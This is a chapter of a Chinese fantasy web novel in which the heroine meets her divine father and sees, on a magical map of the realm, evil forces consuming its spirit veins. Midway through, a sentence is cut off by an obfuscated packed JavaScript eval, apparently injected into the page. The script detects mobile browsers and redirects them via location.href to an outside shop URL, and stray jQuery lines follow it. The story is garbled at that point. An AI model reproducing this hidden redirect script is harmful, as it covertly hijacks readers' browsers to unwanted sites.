36. 社稷图

作品:《神女行镖,诸邪退散

    很显然她并未看错,一条鲛鱼在面前的空气中游动。


    它通体靛蓝,唯腹部与眼侧分布着银白鳞片,游动在阳光下时好似湖中层层波纹,闪着细碎的光。


    这鲛鱼足有四尺长,却并不凶猛,反倒撒欢儿一般在温承歌身边游来游去,莹蓝的尾鳍上还带着点点水珠。


    温承歌判断出它并无攻击意图,收回溯光,像抚摸镖局中那条小黄狗一般轻轻触碰鲛鱼的额部。


    指尖的触感微凉光滑,带着些湿意,与她接触过的鱼类截然不同。


    手感太好,温承歌没忍住又摸了两下。


    那鲛鱼更加兴奋,不断摆动着尾鳍,巨大纱尾在身后晃出道道波浪,颇为赏心悦目。


    诶,看这反应,更像他们镖局的阿黄了,这是什么鱼?


    “呵呵,看来它也很喜欢我们汐儿啊。”


    温承歌闻声抬头,湖水中心,社稷神已经醒来,笑眯眯地瞧着这一人一鱼。


    久别重逢,她郑重地向社稷神行下一礼:“父亲,好久不见。”


    “好了好了,上一次见面,你才从为父这里顺走了几盒好茶,怎么现在倒拘谨起来了,莫非是喝腻了那茶不成?”


    “并非,茶依然很好喝。”温承歌即答。


    “那就好。”


    温临稷缓缓降落到她身边,轻轻一挥手,一张桌案凭空出现在二人面前。案上摆满了热腾腾的饭菜,温承歌打眼一看,全是她偏好的口味。


    只不过,这景象未免太突兀了……


    她默默扭头看向身后,那片洞天湖光山色,鸟语花香,一派静谧安宁的气氛;


    再一回头,这边桌上好茶好菜,琳琅满目。从粤州的虾饺到津北的烤鸭,各系菜式一应俱全。不说是烈火烹油鲜花着锦的气势,也称得上烟火气十足。


    若是说家喻户晓、万人祭拜的社稷神,在祂的洞天福地内摆开宴席为女儿接风,怕是连镖队中那位鼓吹“灵”的说书人也信不了半个字。


    温承歌心中暗笑,坐在桌前拿起竹筷,那条鲛鱼安静下来,在她身边漂着,自顾自地在一旁打转。


    “父亲,这鲛鱼是……?”


    温临稷笑着以小碟盛出几块肉,放到那鲛鱼面前让它大快朵颐:“它是蓝丝鲛,前两年才在这湖中聚灵化形。这一脉鲛灵天性亲和灵脉,故而黏着你。”


    “原来如此。”温承歌夹起一块酥肉送入口中,鲜香的肉汁溢了满口,还微微发着烫,吃起来齿颊留香,十分过瘾。


    “这道菜很好吃,是北城鸿运楼做的?”


    温临稷赞许地点头:“不错,你小时候就爱吃那家的菜,为父自然记得。”


    茶余饭后,温承歌将这一天镖路至今发生的事情一五一十的向父亲告知。


    温临稷皱了皱眉,沉吟片刻,挽袖挥手抚过整张石桌,他指尖所到之处,碗碟消散在空中,桌面上浮现出绵延不绝的山河。


    温承歌仔细端详着,凭借这些年走南闯北的经验,她几乎一眼便认出,此图攘括了整片璘朝疆域。


    她一时间无法表述出自己看到这幅图的确切感受。不同于镖队简略勾描的路线图,亦不同于师父书房内推演用的沙盘,它几乎是一整片小型江山。


    不论是西域的荒漠,还是东海的岛屿,都纤毫毕现地呈现在这方寸之间。


    当她尝试着看清楚那一片城邦楼宇时,不过米粒大小的城邦在她眼中忽然清晰起来。


    城邦内来来往往的行人,街上叫卖的小贩,甚至是儿童手中摇晃的拨浪鼓与脸上的笑意,一切的一切都被温承歌尽收眼底。


    此刻,感官被无限放大,周围的声响无比真实,令她恍若正涉足其中。但当温承歌将注意力集中在某一个人身上时,那人的声音在她耳中却又清晰且突出。


    好特殊的感受……这就是社稷神的权能,父亲他久居乾灵山休养,是以这份能力感知外界的吗?


    她尝试着将视线移向他处,却未料最初的震惊过后,一种难以言喻的眩晕感开始显露头角。


    温承歌觉得眼帘渐渐有些沉重,周围的响动忽然嘈杂了数倍,吵得她心烦意乱,眉心突突直跳。


    “好了好了,汐儿,回神。”


    父亲的话在温承歌灵识内响起,那声音并不大,但当它出现的那一刻,周遭一切繁杂顷刻间止了声息。


    温承歌恍然回过神来,忽然发现自己在不知不觉间双眼几乎要贴到桌面上,急忙抬起头,却正好看见父亲偏过头去,嘴角的笑意止也止不住。


    若在平时,温承歌大概要作势着恼一下,但方才那些体验太过深刻,她一时间也顾不得这些,坐直了身体问道:


    “父亲,这就是社稷图?”


    温临稷并不急着回答,兀自泯了口茶,笑着反问她:


    “这么快就恢复过来了?”


    “没,还是有点晕。”


    温承歌定了定神,压下脑海中残余的不适感,明白这意思就是默认了:


    “我先前听说书人讲,所谓‘天下第一图’便是社稷图,能知天下诸事,能辨人言是非。”


    “说书人的话可信不得,哪有这么厉害?”


    “但师父也如此说。‘你爹先前就是凭着这副社稷图,拳打西北匈奴,脚踢东南海贼,飞升成神,可了不得’,他的原话。”


    温承歌仔细回忆着,一板一眼地复述起来。她父亲一口茶呛在喉中,愈发听不下去:


    “简直是一派胡言。汐儿,日后你师父的话也少信,以他那胡诌的本事,就算不做王爷,当个说书人都能混得风生水起。”


    “父亲,那这社稷图到底是做什么用的?”温承歌疑道。


    “用来看啊。”温临稷直言。


    温承歌还在等着他的下文,良久,父亲却只说了那简短的一句。她试探性问道:


    “没了?”


    “它说破天了也只不过是一副地图,最多看得清晰些罢了,地图又不是丹药法器,还能有什么特别之处?”


    她一愣,还未等消化完这个事实,温临稷放下茶杯,正色道:


    “但就算只是一副地图,也需要能看懂才行。汐儿,告诉为父,你方才在那图中都看到了些什么?”


    看到了什么?她只觉得自己无比贴近视线中的一方街巷,所有的声色在意识中纤毫毕现,任何一处微小的变化都逃不出她的感知。


    说起来,这份经历与她先前将灵识沉入地下灵脉的所见所感倒是极为相似,不知原理是否异曲同工。


    “这样么……”温临稷静静听完她的叙述,扬起眉梢,“汐儿,你会比我更适合这幅社稷图。”


    “为什么?”


    “你接下来就会知道的。”


    温承歌满腹疑惑,循着父亲的指引,尝试着以手覆在山脉的虚影上,将自己的灵力注入其中。


    霎时间,无数道光路自她掌下蔓延出,照得那处山脉熠熠生辉。纵横交错的脉络点亮了一处又一处山河,最终从四面八方汇聚向同一处——正是京城。


    随着最后几道光路延伸至尽头,整张社稷图被彻底点亮,散发着淡淡的金光。


    温承歌对那些奇异的脉络再熟悉不过,那是与她同源共生的灵脉,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757396|188415||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但亲眼目睹它的全貌倒真是头一回。


    但下一刻,她瞪大了双眼。


    十几处暗红色出现在那张灵脉网上,如洇开的血渍一般,在整副社稷图中显得格外刺眼。


    “那是……邪祟?!”


    温承歌心中一惊,那些邪祟紧紧依附在四海灵脉上,如影随形,将完好的脉络侵蚀得锈迹斑斑。


    纵观整幅灵脉图,东城处的邪祟尤为肆虐。她看得真真切切,那些红斑沿着东海的海域,似乎还在顺着浪花隐隐浮动。


    更糟糕的是,周边的几处辅灵枢皆已黯淡下来,唯有东城城脚下那处分灵枢仍然运作着。


    即便如此,那些邪祟依然步步逼近。温承歌神色凝重起来,她心里清楚,照着这个速度,它们蚕食掉东城的分灵枢,不过是时间问题。


    四大分灵枢缺失任何一处,对整座王朝山河来说,都是无法估量的灾难!


    温承歌紧紧的地盯着那些红斑,濒临枯竭的灵脉狠狠??住了她的心。她目光中带着彻骨的寒意,几乎要刺穿那片区域。


    她望向温临稷,父亲神色未变,眉眼间带着全然的理解。


    那样沉着平和的目光接下了温承歌心中的惊怒,她迅速冷静下来,深深吸了一口气,再次开口:


    “父亲,如今形势愈发严峻,我能做什么?”


    似乎料到了她的问询,温临稷眼中闪过一抹复杂的情绪。他偏过头去,凝望着不远处波光粼粼的湖面。


    四周一时间安静下来,在林间投下的暖光中,只有微风拂过树叶带起的窸窣声。几只飞鸟振翅掠过湖面,洒下一串清脆的鸣叫。


    社稷神遥望着不知看过多少个日夜的湖景,恍然间,祂眼前窜出一个雀跃的小身影,跌跌撞撞的在草地上奔跑着。


    女孩那时候个头还没祂膝盖高,一头细软的短发编成两个翘起的小辫儿,随着她的动作在身后一跳一跳。她回过头来,兴致冲冲地去牵父亲的手,要拉着祂到湖边玩水。


    不过弹指一挥间,祂的孩子已经迅速成长为能够独当一面的领导者,眼眸却依然同儿时一般澄澈,容不下半分虚伪与算计。


    太快了,她成长得太快了。


    灵体的生命动辄千百年,汐儿纵然天赋异禀,而今也不过十九岁。无论是从灵体还是人的角度而言,她都太过年轻。


    正是朝气蓬勃的年纪,在社稷神的设想中,祂的汐儿或许会在弘文院中孜孜不倦地读书,或许时常出入稷下宫与他人进行思想的交锋,或许已经身着官服于朝堂上一展宏图。


    又或许,她只想体验尘世,在街巷中闲庭信步,享用着手中的糕点与江南无限好风光。


    灵体并不受人的条条框框所约束,在漫长的岁月中,她有足够时间去找到自己的追求。


    偏偏温承歌是社稷神的孩子。自她从神域中诞生的那一刻,便注定要走上祂的道路,背负起天下苍生的命运。


    温临稷休养中无数次质问自己,为何祂庇护的了天下,却庇护不了她?为何这般沉重的命运要降临在这孩子身上?


    为何最终要挽救璘朝于危难之际的,偏偏是她?


    现在,天道终于找到了温承歌,带着她来到自己面前,问他:“我能做什么?”


    我希望,你能什么都不用做。


    你本该什么都不用做……


    “但是,父亲。”


    温承歌抬眼朝社稷神望去,缓慢而清晰地说道:


    “危难当前,众生皆苦。


    “若尽我之力,能还天下一个海晏河清,纵然身销魂散,承歌亦在所不惜。”